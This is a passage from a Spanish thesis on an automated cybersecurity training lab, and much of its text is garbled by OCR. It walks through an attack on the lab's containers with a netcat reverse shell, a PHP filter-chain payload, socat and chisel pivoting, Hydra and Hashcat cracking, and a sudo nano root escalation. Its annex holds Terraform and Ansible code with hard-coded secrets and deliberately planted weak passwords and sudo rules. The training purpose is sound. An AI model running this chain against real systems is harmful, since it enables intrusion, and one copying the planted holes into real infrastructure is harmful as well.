Una vez tenga el servidor el fichero, levantamos un servidor escucha en la maquina LXC-kali-1

con netcat por el puerto 100, previamente dicho en el servidor de socat, para obtener la conexién
redirigida por la maquina textitLXC-ub-ro-1.

1 sudo nc -lvnp 100

) - o~

0 188

Figura 5.18: netcat escuchando

Procedemos a generar la cadena para efectuar la shell reversa del fichero index.html, pero en el
caso que hubiera ya ese index, en el proceso de obtencién por parte del servidor le renombraria a

indes.html.1, siendo ese el nombre a ejecutar en la cadena, pero como no es el caso, mantenemos el
index.html.

I sudo python3 php_filter_chain_generator.py --chain "<?php system('bash index.html
1 n
); 7>

Regresando a la conexién con netcat podemos ver el éxito de la shell reversa.

J—[~/Desktop]

e ioctl for device
no job 1 in this shell
-ub-in-1:/var/ww/html$ ]

Figura 5.19: Shell reversa éxito

El estado actual del ataque se puede ver en la imagen[5.20] donde se ha podido acceder a la maquina
LXC-ub-in-1 mediante una shell reversa gracias a la conexién bidireccional lograda por el servidor
socat, donde se ha establecido una conexién TCP en el puerto 1000 de la maquina LXC-ub-ro-1y
redirigido al puerto 100 de netcat en QEMU-kali-1.
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5. Simulacion de ejercicios

proxychainsd [socks5 127.0.0.1 1080]

Conexiodn

Conexion

! | 1

(

Conexion

)

(LLXC—uE—ro—i*\

N —

[ QEMU-kali-1 \ethe 192.168.2.101
—— gw: 192.168.2.180 192.168.3.161
/’/-.-F.-. i
ethl 192.168.2.100 eth2 192.168.3.100
AL ubuntu
Rl | gw: 192.168.1.1 gw: 192.168.1.1
e SSH
-root 22 TCP Obtiene
-Lkali
-root
—ADMrouter
CHISEL Server -
Redirige
g (CHISEL Client)
] ) Establece
P:10 R:socks Conexién
Rediri ﬁ ee 192.168.3.102
NETCAT edirage SOCAT
P:100

P:1000
\ k_____________J)

Obtiene

Figura 5.20: Estado ataque con socat

5. Acceso MySQL

®

ubuntu

—root
-jgomez

SSH

22 TCP _/)

MySQL

-msantos

3386 TCP

—root

SSH

22 TCP

Llegados a este punto, tenemos acceso a la maquina donde aloja la web, pero claro, no tenemos

acceso root, por lo tanto hay que buscar vias para el escalado, aunque tratandose de una red

empresarial con una base de datos, se puede indagar en la busqueda de algin tipo de filtracién de

informacién en la base de datos.

Navegando por la web, se puede observar un apartado de Departamentos

Intranet de Securelylnsecure Inc.

Departamentos de la Empresa

Departamento de IT

Inicio

Departamentos Noticias

El Departamento de IT se encarga de gestionar la infraestructura tecnologica de la empresa, incluyendo la red, servidores y seguridad informatica. Nuestro equipo de
expertos en tecnologia esta comprometido a mantener nuestros sistemas en funcionamiento y seguros en todo momento.

Correo: it@securelyinsecure.com

Teléfono: +34 123 456 789

Ver Empleados

Figura 5.21: Departamentos web
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5. Simulacién de ejercicios

En ellos tenemos concretamente uno de I'T, mostrando a los usuarios que trabajan en él. Buscando
entre los usuarios se puede ver al administrador de la base de datos Maria Santos con usuario

msantos.

Maria Santos

Cargo: Administradora de Base de Datos

Contacto: msantos@securelyinsecure.com

Figura 5.22: Administrador base de datos

Con este dato se puede intentar un ataque de fuerza bruta con la herramienta Hydra para verificar si

se puede lograr acceso al servidor con el usuario msantos y la lista de contrasenas de Kali rockyou.txt.

El parametro -1 msantos especifica el nombre de usuario objetivo, mientras que -P /usr/share-
d/wordlist /rockyou.tzt indica el archivo de lista de contrasefias que Hydra utilizard para probar
diferentes combinaciones de contrasenas y finalmente 192.168.3.10 mysql al final del comando es-

pecifica que Hydra debe realizar el ataque contra el servicio MySQL en la direcciéon IP dada.

1 hydra -1 msantos -P /usr/shared/wordlist/rockyou.txt 192.168.3.102 mysql

Exitosamente Hydra ha conseguido obtener una coincidencia, siendo la contrasefia para acceder al
servidor qwerty, pudiendo observar que existe una brecha con la seguridad, permitiendo este tipo

de ataques por tener contrasefias muy sencillas o registradas en diccionarios.

Strict chain ... 27.0. . 2.168.3. 6 [proxychair

OK
0K
2. OK
192.
passwor
y comp i sword found
ithub.com/vanhauser y ) finished at

Figura 5.23: Exito hydra

Teniendo las credenciales del administrador de la base de datos, comprobamos que podemos acceder

con proxychains4.

1 sudo proxychains4 mysql -u msantos -p -h 192.168.3.102

nt
nu/libproxychains.so. 4

127.8.9.1:1@8 e 192.168.3.102:
Commands end with ; or \g.

Your MySOL connection id is 17

Server version: 8.0.37-8ubuntu®.22.04.3 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MysaL [(none)]> N

Figura 5.24: Acceso MySQL
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5. Simulacién de ejercicios

Se ha conseguido acceder al servidor MySQL y a continuacién acceder al listado de las bases de
datos existentes en el gestor. Las bases de datos existentes a para este usuario son las creadas por
defecto e intranet. Esta tultima parece ser la asociada a la empresa, asi que se procede a buscar por
las tablas en busca de informacién.

1 show databases;

V)

use intranet;

3 show tables;

MySQL [(none)]> use intranet;

Database changed
et]> show tables;
+

MysaQL [(no

dase

information_schema

int et
mance_schema )
=] to
politicas
usuarios

Wb ——— — &

|
+
|
|
|
rows in set (0.812
+

MysQL [(none)]> [ rows in set (9.005 sec)

(a) Bases de datos MySQL (b) Tablas intranet

Figura 5.25: Bases de datos y tablas MySQL

Existen tablas varias, pero la que mas destaca es la tabla usuarios. Con una consulta SQL selec-

cionaremos todos los datos de los campos de la tabla.

1 SELECT * FROM usuarios;

e A e ———

contacto | departamento_id nombre_usuario

Gerente de Infraestructura de IT elyinsecure.com

Administrador de Redes elyinsecure.com clop

Administradora de Base de Datos msantos@securelyinsecure.com msantos

Directora de Tecnologia
Becario RR.HH

Gerente de Recursos Humanos
Director d

Analista d ilidades

ridad de la Infermacion

curelyinsecure.com

smartin@securelyinsecure.com

Imanriquedsecurelyinsecure.com
relyinsecure.com

yinsecure.com

aruiz
smartin
Imanrigue

mosorio

Auditer
a Incidentes
+

—_—+ +
10 rows in set (0.004 sec)

Figura 5.26: Tabla usuario

Los resultados obtenidos nos dan a conocer datos sensibles de los usuarios que trabajan en la
empresa, donde nos enfocamos en uno, el usuario jgomez que es el gerente de Infraestructura de
TI y el tinico con privilegios de superusuario que también aparece en el fichero passwd, ademas que
se nos muestra una contrasefia hasheada. Si indagamos en los formatos de hash, en la web [12], se
puede averiguar que se trata del tipo MDJ5. De esta manera tenemos una via para escalar, pero aun
sigue siendo necesario descifrar esta contrasena, para ello, se intentara descifrar con la herramienta

Hashcat que permite descifrar hashes por GPU y CPU con ataque de fuerza bruta de diccionario.
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5. Simulacién de ejercicios

El empleo de Hashcat requiere obtener el tipo de hash con el pardmetro -m 0, siendo el valor
equivalente a MD5, que esta herramienta intentard enfocar su decodificacién mediante la web [12],
-a 0 dando a entender que se empleara un fichero con el hash a comparar hash.tzt y un diccionario

a los que aplicard los hashes para la comparacién /usr/shared/wordlist/rockyou.txt.

I hashcat -m 0 -a O hash.txt /usr/shared/wordlist/rockyou.txt

? Loops:1 Thr:
1/1 (1@8.

ation:@-1

Figura 5.27: Exito Hashcat

Hashcat ha logrado encontrar una coincidencia en el diccionario rockyou.tzt, siendo la contrasena
passwordl, esto quiere decir que solo nos queda intentar acceder al usuario desde la shell reversa

que hemos obtenido previamente.

6. Escalada de privilegios

Haber obtenido las credenciales del usuario jgomez con permisos superusuario, permite avanzar en

el ataque a través de la shell reversa, para ello se realizara un cambio de usuario.

1 su jgomez

2 passwordl

- d a 1 A Jwon /html$ su jgome
Password

jgomez@LXC-ub-in-1:/var/wmw/html$ whoami
gome

C-ub-in-1:/var/wmw /html$ |

Figura 5.28: Exito jgomez
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5. Simulacién de ejercicios

Las credenciales han sido correctas, obteniendo el control del usuario jgomez, seguidamente, se

verifica que permisos tiene como superusuario este usuario.

1 sudo

-1

ww /html$ sudo -1
for jgomez on LXC-ub-in-1:

¢ fusr/bin/nano
ww S html% I

Figura 5.29: Privilegios jgomez

El usuario posee la capacidad de ejecutar el archivo binario nano sin contrasena. Este privilegio en

ficheros binarios se puede explotar para escalar privilegios en la maquina. Consultando en la web

’11|7

podemos averiguar como ser usuario root.

Pero para lograr mantener una sesién estable en la shell, es recomendable realizar un tratamiento

de la TTY, es decir, convertir una shell basica en una terminal interactiva completa, permitiendo

una interacciéon mas efectiva y controlada con el sistema comprometido. Sin un tratamiento de la

tty, seria imposible ejecutar nano de manera efectiva o en un descuido, se podria finalizar la sesiéon

y perder todo lo logrado hasta ahora en el ataque. Para lograr la estabilidad en la shell simplemente

se deben introducir una serie de comandos en orden.

a)

1

b)

e)

V]

Iniciar una nueva sesién de bash dentro de una pseudo-terminal (PTY).

script /dev/null -c bash

Suspender la ejecucion del proceso actual.

cntrl + Z

Configura la terminal en modo raw (sin procesar caractéres) y desactiva el echo para no mostrar

en el terminal lo que se escriba, y trae el proceso suspendido de vuelta al primer plano.

stty raw -echo; fg

Asegurar que la terminal esté en un estado limpio y funcional, y se comporte como un emulador

de terminal xterm.

reset

xterm

Establece en las varaibles de entorno la termianl zterm y la shell sea bash.

export TERM=xterm
export SHELL=bash

Teniendo una shell estable, se puede continuar con la escalada de privilegios. La vulnerabilidad para

escalar privilegios mediante nano consiste en iniciar, siendo jgomez el binario nano.

I sudo /usr/bin/nano
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5. Simulacién de ejercicios

Dentro de nano, ejecutar una combinacién de teclas ctrl + R y ctrl + X las cuales nos mostraré

una linea de escritura para introducir comandos en la que insertaremos reset; sh 1>€0 2>60 y
confirmaremos.

1 "R7X
2> reset; sh 1>&0 2>&0

jgomez@LXC-ub-in-1: jvarfwww/html

File Actions Edit View Help

GNU nano 6.2 New Buffer

Figura 5.30: Explotacién nano

File Actions Edit View Help

# r*Hwho a
: who: not foundew Buffer Spell Check [ Full Justi
ncel Pipe Tex Linte MY Formatter

Figura 5.31: Obtencién root
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5. Simulacion de ejercicios

Finalmente se ha conseguido escalar privilegios y ser usuario root en la maquina LXC-ub-in-1,

obteniendo el control total de la méquina.

El estado final del ataque mostrado en la imagen[5.32] verifica un acceso completo y detallado a la red
objetivo. Inicialmente, se descubrieron los dos hosts y sus servicios gracias a un ttunel proxy SOCKS
creado con chisel en la maquina LXC-ub-ro-1 y redirigido al servidor en la maquina QEMU-kali-1
en el puerto escucha 10, utilizando Proxychains4 en el puerto 1080 e IP 127.0.0.1 para explorar la
red. Finalmente, se logré acceder a la maquina LXC-ub-in-1 mediante una shell reversa, gracias
a una conexion bidireccional establecida por el servidor socat, redirigiendo la conexiéon TCP del
puerto 1000 de LXC-ub-ro-1 al puerto 100 de netcat en QEMU-kali-1. Dentro de la maquina se
logré escalar privilegios con los datos descubiertos en el servidor MySQL junto a la explotacién de

una vulnerabilidad en los privilegios de un usuario administrador.

| I ]
proxychainst [socks5 127.0.0.1 1080€] " | I
— I | I
[ Conexion ]| I I
| 1 I
Conexiodn : 'I :
1 | |
. ]
[ Conexién : ]: !
1

|
e ~ —
QEMU-kali-1 \ethe 192.168.2.101 KLXC—ub—ro—;\ (LXC ub-in-1

- gu: 192.168.2.100 192.168.3.101 @
/‘Q ubuntu .

; h2 192.168.3.100 ~jgomez
. ethl 192.168.2.100 b ntu et
KALI| ubu

— gw: 192.168.1.1 gw: 192.168.1.1
—r- = SSH

-root 22 TCP Obtiene

SSH

22 TCP
4

-root
—ADMrouter

CHISEL Server .
Red K
edirige CHISEL Client] | Establece

R:socks Conexion

V TCP

fedins 192.168.3.182
NETCAT edirige SOCAT Ny
P:100 P:1000 e SSH

\ / Obtiene

P:10

-root

3386 TCP 22 TCP

Figura 5.32: Estado final ataque
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Capitulo 6
Conclusiones

En este capitulo se presentan las conclusiones finales del proyecto, destacando los logros alcanzados, las
limitaciones encontradas y los desafios enfrentados, asi como las posibles direcciones para trabajos futuros.
Este resumen final tiene como objetivo proporcionar una visién integral de los resultados obtenidos y las

lecciones aprendidas durante el desarrollo del proyecto.

1. Logros alcanzados

El objetivo principal de este proyecto era la creacién de un entorno de entrenamiento empleando
herramientas de IaC y de automatizacién para desarrollar ejercicios de ciberseguridad. Tras finalizar el
proyecto, se puede concluir que se ha cumplido con el trabajo propuesto. Se logré un despliegue total-
mente virtualizado en Proxmox y la infraestructura fue completamente automatizada utilizando Jenkins,
Terraform y Ansible. Ademads, se implement6 un sistema que permite la destruccién de la infraestructura

para poder desplegar diferentes ejercicios de ciberseguridad.

También se cre6é y probd un ejercicio practico mediante una simulacién real de redes internas empre-
sariales. Este ejercicio implicaba ganar acceso total a una de las maquinas utilizando diversas técnicas de
ataque, lo que permitié validar la efectividad del entorno creado. La creacién de este ejercicio permitié

poner en practica el proyecto y evaluar su funcionalidad en un contexto realista.

El logro personal ha sido la integraciéon y aplicacion practica de diversas herramientas y conceptos,
proporcionando una experiencia valiosa en la creaciéon de entornos automatizados y seguros. Este proyecto
no solo ha cumplido con los objetivos planteados, sino que también ha abierto nuevas oportunidades para
explorar y mejorar en el ambito de la ciberseguridad y la automatizacién. Ademas, el proceso facilit6 el
aprendizaje de multiples herramientas y técnicas en los &mbitos de 1aC, automatizacién y ciberseguridad,

consolidando una base sélida para futuros proyectos.
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6. Conclusiones

2. Limitaciones y desafios

Si bien se han logrado los objetivos del proyecto, durante su realizacién surgieron diversas limitaciones

y contratiempos que requirieron tiempo para ser solucionados o para encontrar alternativas.

Comenzamos con el cambio de planes del proyecto en la fase preparatoria, debido a que en un principio
el proyecto iba a estar virtualizado en la nube de Azure, pero por temas de permisos con la licencia de

estudiante, no era posible conectar Terraform con Azure.

= Solucién

Se opté por solicitar a la escuela un entorno de virtualizacién Proxmox VE, siendo el entorno final

que se han logrado los objetivos.

Por otra parte, el API empleado para el despliegue de Terraform con Proxmox, Telmate, era incapaz

de clonar la maquina Kali Linux.

= Solucién

Se optd por buscar otra API y, empleando BPG, se pudo solucionar el problema y desplegar el clon

de Kali sin inconvenientes.

Por dltimo, hubo una denegacién de servicio en el entorno Proxmox VE, lo que hizo imposible acceder

y continuar con las pruebas durante varios dias, afectando el avance del proyecto.

= Solucién

Con la ayuda de los técnicos de la escuela, se pudieron solucionar los problemas, lo que permitio

retomar el proyecto con normalidad.

3. Trabajo Futuro

El proyecto esta acabado, pero es cierto que se puede mejorar para que brille aun mas. El trabajo

futuro que se tendria que realizar seria:

= Sistema de deteccién de infraestructura existente: implementar un sistema que, al desplegar,

compruebe si ya existe infraestructura creada, evitando duplicaciones y conflictos.

= Implementaciéon de una VPN: configurar una VPN para acceder a las maquinas sin necesidad

de pasar por el entorno grafico de Proxmox o por el propio nodo, debido al aislamiento.

= Mejoras en las medidas de seguridad: fortalecer las medidas de seguridad de la infraestructura

para protegerla contra posibles vulnerabilidades y ataques.

= Sistema de puntuaciéon o finalizacién del ejercicio: desarrollar un sistema de puntuacién
o criterios de finalizacién para evaluar el éxito de los objetivos planteados en los ejercicios de

entrenamiento.
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Anexo

1. Cddigo

1.1. GitHub

= https://github.com/fsanjo268/TFG

1.2. Jenkinsfile

def remote =

remote
remote
remote
remote

remote

pipeline

[:]
.name = 'tfg2010'
.host = 'virtual.lab.inf.uva.es'
.user = 'ansible'
.port = 20101
.allowAnyHosts = true
{

agent any

stages {

main '

params.Exercise}"){

stage('Clone Git s repository') {

3

}

steps {

dir("/var/1lib/jenkins/workspace/TFG/Deploy_enviroment") {

scriptq{

if (params.Action
cleanWs ()

git url: 'https://github.com/fsanjo268/TFG.git',

sh 'ls -1'

stage ('Terraform init') {

steps {
dir("/var/lib/jenkins/workspace/TFG/Deploy_enviroment/Terraform/${

sh

'terraform init'

stage (' Terraform code validation') {

76
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34 steps {
35 dir("/var/1lib/jenkins/workspace/TFG/Deploy_enviroment/Terraform/${
params .Exercise}"){

36 sh 'terraform validate'

37 }

38 }

39 }

10 stage ('Ansible code validation') {

41 steps {

42 dir ("/var/lib/jenkins/workspace/TFG/Deploy_enviroment/Ansible/"){

13 sh "ansible-playbook ./Playbooks/${params.Exercise}.yaml --syntax-
check"

14 }

A5 }

16 }

17 stage (' Infraestructure plannification ') {

18 steps {

19 dir ("/var/lib/ jenkins/workspace/TFG/Deploy_enviroment/Terraform/${
params .Exercise}"){

50 script{

51 if (params.Action == 'apply') {

52 sh 'terraform plan -out tfplan'

59 stage ('Apply / Destroy') {
60 steps {
61 dir("/var/lib/jenkins/workspace/TFG/Deploy_enviroment/Terraform/${

params.Exercisel}"){

62 script {

63 if (params.Action == 'apply') {

64 sh 'terraform apply -input=false tfplan'
65 } else if (params.Action == 'destroy') {
66 sh 'terraform destroy --auto-approve'
6 }

68 }

69 }

70 }

71 T

72 stage ('Compressing Ansible folder') {

73 when { expression { params.Action == 'apply'}}

74 steps {

75 fileOperations ([fileZipOperation(folderPath: 'Ansible',
outputFolderPath:'')])

76 fileOperations ([fileRenameOperation(destination: "${params.
NameToTransfer}.zip", source: 'Ansible.zip')])

77 }

78 }

79 stage ('SSH file transfer to Ansible Node') A

80 when { expression { params.Action == 'apply'}}

81 steps {

82 sshPublisher (publishers: [sshPublisherDesc(configName: 'tfg2010°',

7



90

91
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transfers: [sshTransfer(cleanRemote: false, excludes: '', execCommand: "cd ./${

params .NameOfTargetFolderl} ;

params .NameToTransfer}.zip ;

makeEmptyDirs: false, noDefaultExcludes:

1ls -1 ; unzip -o

${params.NameToTransfer}.zip ; rm ${

1ls -1", execTimeout: 120000, flatten: false,

false, patternSeparator: '[, J+',

remoteDirectory: "/${params.NameOfTargetFolder}", remoteDirectorySDF: false,

removePrefix: '', sourceFile
usePromotionTimestamp: false
3
3
stage ('Execute Playbook

s: "${params.NameToTransfer}.zip")],

, useWorkspaceInPromotion: false, verbose: true)l)

DA

when { expression { params.Action == 'apply'}}
steps{
retry (4){
script{
withCredentials ([sshUserPrivateKey(credentialsId: 'ssh-Jenkins
', keyFileVariable: 'identity',passphraseVariable: '', usernameVariable: 'username ')
DA
remote.identityFile = identity
sshCommand remote: remote, command: "cd ./${params.

NameOfTargetFolder}/Ansible/

; ansible-playbook ./Playbooks/${params.Exercisel}.yaml"

}
}
}
}
}
}
post {
success {
script {
if (params.Action == 'destroy') {

cleanWs ()

}
failure {

steps {

dir ("/var/1lib/jenkins/workspace/TFG/Despliegue_ejercicios/Terraform/${

params .Exercisel}"){

script{

if (params.Action ==

sh

'"terraform destroy

78
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1.3. Terraform

1.3.1. provider.tf

provider "proxmox" {

endpoint = var.pm_api_url
api_token = "${var.pm_api_token_id}=${var.Proxmox_API_Token_Secret}"
insecure = var.pm_tls_insecure

1.3.2. backend.tf

terraform {

required_providers {

proxmox = {
source = "bpg/proxmox"
version = "0.55.1"

}

1.3.3. wvars.tf

variable "Proxmox_API_Token_Secret" {
type = string

sensitive = true

; variable "root-password" {

type = string

sensitive = true

variable "pm_api_url" {
default = "https://virtual.lab.inf.uva.es:20102/api2/json"

variable "pm_api_token_id" {
description = "identificador del API Token Promox"
type = string

default = "terraformUSR@pam!token_promox_terraform"

variable "ssh_key_nodo_ansible" {
description = "Clave SSH publica del nodo Proxmox ansible a insertar en la maquina
virtual"
type = string
default = "ssh-ed25519 AAAAC3NzaC11lZDIINTE5AAAAIKskyaMLTz3C97I8k1gGQLWu/
oxrNfBESq241A68GCbN ansible@tfg2010"

variable "ssh_key_nodo_root" {
description = "Clave SSH publica del nodo Proxmox root a insertar en la maquina

virtual"
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type = string
default = "ssh-ed25519 AAAAC3NzaC11ZDIINTES5AAAATIAIGhVOjcg+
fhOQnF5UXgTfCJr21TSRdAmJ05zeDxcEbR root@tfg2010"

variable "pm_node_name" {
description = "nombre del nodo donde crear la maquina virtual"
type = string
default = "tfg2010"

variable "template_name" {
description = "nombre de la plantilla donde clonar la maquina virtual"
type = string
default = "template-Kali"

5 variable "pm_tls_insecure" {

description = "Set to true to ignore certificate errors"
type = bool
default = true

1.3.4. terraform.tfvars

Proxmox_API_Token_Secret = "46bff8fd-6d7e-47f8-aaaf-44b11b07898b"

; root-password = "RootlRootl"

1.3.5. main.tf - modulo 1

resource "proxmox_virtual_environment_vm" "VM_Kali_Attacker" {
name = "QEMU-kali-1"
node_name = "tfg2010"

//New VM id to set
vm_id = 200

scsi_hardware = "virtio-scsi-single"

timeout_clone = 4800

timeout_create = 4800
agent {
enabled = true
timeout = "20m"
}

memory {
dedicated = 8192

clone {

datastore_id = "local"
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retries = 8
//id from the
1000

true

template
vm_id =
full =

cpu {
cores = 4
sockets = 1

type = "host"

disk{
size= 80
interface="scsiO"

datastore_id = "local"

initialization {
datastore_id = "local"

upgrade = true

dns {
domain="10.0.0.250"

servers=["10.0.0.250"]

user_account{

keys=[trimspace (var.ssh_key_nodo_root) ,trimspace(var.ssh_key_nodo_ansible)]

password=var.root-password

username = "kali"
}
//Node Network
ip_config {
ipvd {
address = "192.168.1.101/24"
gateway = "192.168.1.1"
}
}
//Attacker Network
ip_config {
ipvd {
address = "192.168.2.101/24"
gateway = "192.168.2.100"
}

network_deviced{

bridge = "vmbrO"

network_device{

bridge = "vmbrO"
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resource

"proxmox_virtual_environment_container"

"LXC_Ubuntu_Intranet"

depends_on = [ proxmox_virtual_environment_vm.VM_Kali_Attacker ]

count = 2

node_name = "t£g2010"
vm_id = "30${count.index}"
started = true
unprivileged = false

timeout_create = 3000

operating_system {

template_file_id = "local:vztmpl/ubuntu-22.04-standard_22.04-1_amd64.tar.zst"

type = "ubuntu"

cpu {

cores = 2

memory {
dedicated = 1024

network_interface {
name = "ethO"

bridge = "vmbrO"

network_interface {
name = "ethl"

bridge = "vmbrO"

disk {
datastore_id = "local"

size = 10

initialization {

dns {
domain = "10.0.0.250"
servers = ["10.0.0.250"]
}
hostname = "LXC-ub-in-${count.index+1}"

//Node Network
ip_config {

ipvd {
address = "192.168.1.10%{(count.index+3) -1}/24"
gateway = "192.168.1.1"

}
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135 //Intranet Network
136 ip_config {

137 ipvd {

138 address = "192.168.3.10${count.index+1}/24"
139 gateway = "192.168.3.100"

140 }

143 user_account{
144 keys=[trimspace(var.ssh_key_nodo_root) ,trimspace(var.ssh_key_nodo_ansible)]

145 password=var.root-password

146 }

147 }

148 }

149

150 resource "proxmox_virtual_environment_container" "LXC_Ubuntu_Router" {
151

152 depends_on = [ proxmox_virtual_environment_container.LXC_Ubuntu_Intranet ]
153

154 node_name = "t£g2010"

155 vm_id =100

156 started = true

157 unprivileged = false

158 timeout_create = 3000

159

160 operating_system {

161 template_file_id = "local:vztmpl/ubuntu-22.04-standard_22.04-1_amd64.tar.zst"
162 type = "ubuntu"

163 }

164

165 cpu {

166 cores = 2

167 }

168
169 memory {
170 dedicated = 512

173 network_interface {

174 name = "ethO"

175 bridge = "vmbrO"
176 }

17

178 network_interface {
179 name = "ethl"

180 bridge = "vmbrO"
181 }

182

183 network_interface {
184 name = "eth2"

185 bridge = "vmbrO"
186 ¥
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188

189 disk {

190 datastore_id = "local"
191 size = 10

192 T

193

194 initialization {

195 dns {

196 domain = "10.0.0.250"

197 servers = ["10.0.0.250"]
198 }

99

200 hostname = "LXC-ub-ro-1"

201

202 //Node Network

203 ip_config {

204 ipvd {

205 address = "192.168.1.100/24"
206 gateway = "192.168.1.1"
007 }

210 //Attacker Network

211 ip_config {

212 ipvd {

213 address = "192.168.2.100/24"

217 //Intranet Network

218 ip_config {

219 ipvd {

220 address = "192.168.3.100/24"

222 }
223 user_account{
224 keys=[trimspace (var.ssh_key_nodo_root) ,trimspace(var.ssh_key_nodo_ansible)]

225 password=var.root-password

1.4. Ansible

1.4.1. ansible.cnf

1 [defaults]
2 inventory=hosts

3 host_key_checking = False
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1.4.2. hosts

[router]

LXC_ub_ro_1 ansible_host=192.

[router:vars]

ansible_ssh_user=root

[kalil

QEMU_Kali_1 ansible_host=192.

[Kali:vars]

ansible_ssh_user=Kali

[intranet]

LXC_ub_in_1 ansible_host=192.
; LXC_ub_in_2 ansible_host=192.

[intranet:vars]

ansible_ssh_user=root

1.4.3. module-1.yaml

# Playbook kali

- name: Configuracion de resolv.conf Kali Linux

hosts: kali
become: true

tasks:

- name: Crear /etc/resolv.conf y agregar nameserver

copy:

168.

168.

168.
168.

dest: /etc/resolv.conf

content: |

nameserver 10.0.0.250

owner: root
group: root
mode: '0644'

i # Playbook router

- name: Configuracion de ip_forward e iptables en Router

hosts: router
become: true

tasks:

- name: Crear usuario ADMusuario con permisos de sudo

user:
name: ADMusuario
groups: sudo
append: yes

state: present

password: "{{ 'passwd1234'

shell: /bin/bash

- name: Habilitar el reenvio de IP en /proc/sys/net/ipvé4/ip_forward

sysctl:

name: net.ipvé4.ip_forward

value: '1'

.100

.101

.102
.103

| password_hash('md5') }}"
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35 state: present

36 reload: yes

38 - name: Asegurarse de que el reenvio de IP sea persistente
39 lineinfile:

10 dest: /etc/sysctl.conf

11 regexp: '“net.ipvé4.ip_forward'

12 line: 'met.ipv4.ip_forward = 1'

43 state: present

15 - name: Instalar iptables-persistent
16 apt:
17 name: iptables-persistent

18 state: present

50 - name: Permitir trafico en el puerto 22
51 iptables:

52 table: filter

53 chain: INPUT

54 protocol: tcp

55 destination_port: 22

56 jump: ACCEPT

58 - name: Agregar regla de iptables de manera persistente
59 iptables:

60 table: nat

61 chain: POSTROUTING

62 out_interface: ethO

63 jump: MASQUERADE

- name: Guardar reglas de iptables en /etc/iptables/rules.v4
66 become: true

67 shell: iptables-save > /etc/iptables/rules.v4

69 # Playbook intranet mysql

71 - name: Configurar servidor MySQL e importar archivos SQL
72 hosts: LXC-ub-in-2

73 become: true

74 tasks:

75 - name: Instalar servicios

76 apt:

7 name :

78 - git

79 - python3-pip

80 - iptables-persistent

81 - mysql-server

82 state: present

83

84 - name: Clone the GitHub repository
85 ansible.builtin.git:

86 repo: https://github.com/fsanjo268/TFG.git
87 dest: /srv/files

88 register: git_result

89 until: git_result is succeeded
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retries: b5
delay: 3

- name: Instalar PyMySQL
pip:
name: PyMySQL

- name: Configurar interprete de Python para Ansible
set_fact:

ansible_python_interpreter: /usr/bin/python3

- name: Permitir trafico en el puerto 3306
iptables:
table: filter
chain: INPUT
protocol: tcp
destination_port: 3306
jump: ACCEPT

- name: Permitir trafico en el puerto 22
iptables:
table: filter
chain: INPUT
protocol: tcp
destination_port: 22
jump: ACCEPT

- name: Guardar reglas de iptables en /etc/iptables/rules.v4
become: true

shell: iptables-save > /etc/iptables/rules.v4d

- name: Configurar MySQL para aceptar conexiones remotas
ansible.builtin.lineinfile:
path: /etc/mysql/mysql.conf.d/mysqld.cnf
regexp: '“bind-address'
line: 'bind-address = 0.0.0.0'

- name: Reiniciar servicio MySQL
service:
name: mysql

state: restarted

- name: Eliminar fichero cnf
ansible.builtin.file:
path: /root/.my.cnf

state: absent

- name: Almacenar clave root en .my.cnf
lineinfile:
dest: /root/.my.cnf
line: |
[client]
user=root
password=rootAdminPassword

create: yes
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#

owner: root
group: root
mode: '0600'

- name: Crear base de datos 'intranet'
mysql_db:
name: intranet
state: present
login_unix_socket: /run/mysqld/mysqld.sock
login_user: root

login_password: "rootAdminPassword"

- name: Importar archivo SQL para poblar la base de
mysql_db:

name: intranet
state: import
target: /srv/files/Auxiliar/MySQL/poblacion.sql
login_unix_socket: /run/mysqld/mysqld.sock
login_user: root
login_password: "rootAdminPassword"

become: true

- name: Importar archivo SQL para usuarios
mysql_db:

name: intranet
state: import
target: /srv/files/Auxiliar/MySQL/usuarios.sql
login_unix_socket: /run/mysqld/mysqld.sock
login_user: root
login_password: "rootAdminPassword"

become: true

Playbook intranet WEB

name: Configurar Web VM con Apache
hosts: LXC-ub-in-1
become: true
tasks:
- name: Instalar servicios
apt:
name :
- apache2
- php
- iptables-persistent
- git

state: present

- name: Clonar repositorio GitHub

ansible.builtin.git:
repo: https://github.com/fsanjo268/TFG.git
dest: /srv/files

register: git_result

until: git_result is succeeded

retries: 5

delay: 3
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name :

user:

Crear usuario Carlos Lopez

name: clopez

state: present
password: "{{ 'Tr$8jK19' | password_hash('md5') }}"
shell: /bin/bash

name :

user:

Crear usuario Maria Santos

name: msantos

state: present
password: "{{ 'Qw3#tYul' | password_hash('md5') }}"
shell: /bin/bash

name :

user:

Crear usuario con permisos de sudo Javier Gomez

name: jgomez

groups: sudo

append: yes

state: present

password: "{{ 'passwordl' | password_hash('md5') }1}"
shell: /bin/bash

name :

Permitir acceso a nano para Javier Gomez sin clave

lineinfile:

dest: /etc/sudoers

state: present

regexp: '~ jgomez'
line: 'jgomez ALL=(ALL:ALL) NOPASSWD: /usr/bin/nano'

name:

Permitir trafico en el puerto 80

iptables:
table: filter
chain: INPUT
protocol: tcp

destination_port: 80

jump:

name :

ACCEPT

Permitir trafico en el puerto 22

iptables:
table: filter
chain: INPUT
protocol: tcp

destination_port: 22
jump: ACCEPT

name :

Guardar reglas de iptables en /etc/iptables/rules.véd

become: true

shell:

name :

copy:

sSrc:

iptables-save > /etc/iptables/rules.véd

Copiar ficheros de /srv/files/Auxiliar/Web a /var/www/html

/srv/files/Auxiliar/Web/

dest: /var/www/html/
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owner: www-data
group: www-data
mode: '0644'

remote_src: yes

- name: Asegurar /var/www/ es propiedad de www-data
file:
path: /var/www/
owner: www-data
group: www-data
state: directory
mode: '0755'

recurse. Yyes

- name: Asegurar /var/www/html es propiedad de www-data
file:
path: /var/www/html
owner: www-data
group: www-data
state: directory
mode: '0644'

recurse. Yyes

- name: Eliminar fichero index.html
ansible.builtin.file:
path: /var/www/html/index.html

state: absent

1.5. MySQL

1.5.1. poblacion.sql

-- Usar la base de datos intranet
USE intranet;

-- DROP TABLES

DROP TABLE IF EXISTS usuarios ;

DROP TABLE IF EXISTS departamentos ;
; DROP TABLE IF EXISTS clientes ;

DROP TABLE IF EXISTS politicas ;
DROP TABLE IF EXISTS eventos ;

) -—— Crear tabla departamentos

CREATE TABLE departamentos (
id INT AUTO_INCREMENT PRIMARY KEY,
nombre VARCHAR (100) NOT NULL,
correo VARCHAR (100) NOT NULL UNIQUE,
telefono VARCHAR (20)

-- Crear tabla usuarios

CREATE TABLE usuarios (
